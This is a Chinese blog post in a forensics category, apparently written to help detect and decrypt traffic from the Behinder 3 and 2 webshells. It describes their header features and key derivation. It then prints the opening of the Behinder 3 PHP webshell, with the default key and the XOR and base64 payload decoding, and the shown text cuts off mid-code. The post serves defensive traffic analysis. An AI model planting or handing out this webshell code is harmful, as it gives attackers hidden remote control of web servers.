冰蝎3 冰蝎2 behinder流量分析流量解密

最新推荐文章于 2024-07-14 00:00:00 发布

shu天

最新推荐文章于 2024-07-14 00:00:00 发布

阅读量3.3k

点赞数 2

分类专栏：取证文章标签： php behinder 流量

不允许转载

本文链接：https://blog.csdn.net/weixin_46081055/article/details/120007338

版权

本文探讨了冰蝎3和冰蝎2的流量特征，包括content-type、user-Agent、content-length等不可改特征，并提到了冰蝎3的AES密钥和webshell。还介绍了冰蝎2的密钥传递方式、Accept、UserAgent字段以及长连接。对于解密流量，文章提及了PHP webshell的解密过程，引用了相关解密资源。

摘要由CSDN通过智能技术生成

好多没找全，明天再找吧好累

冰蝎3

AES密钥为连接密码32位md5值的前16位，默认连接密码rebeyond。

webshell：

php

<?php
@error_reporting(0);
session_start();
    $key="e45e329feb5d925b"; //该密钥为连接密码32位md5值的前16位，默认连接密码rebeyond
	$_SESSION['k']=$key;
	$post=file_get_contents("php://input");
	if(!extension_loaded('openssl'))
	{
   
		$t="base64_"."decode";
		$post=$t($post."");
		
		for($i=0;$i<strlen($post);$i++) {
   
    			 $post[$i] = $post[$i]^$key[$i+1&15]; 
    			}
	}
	else
	{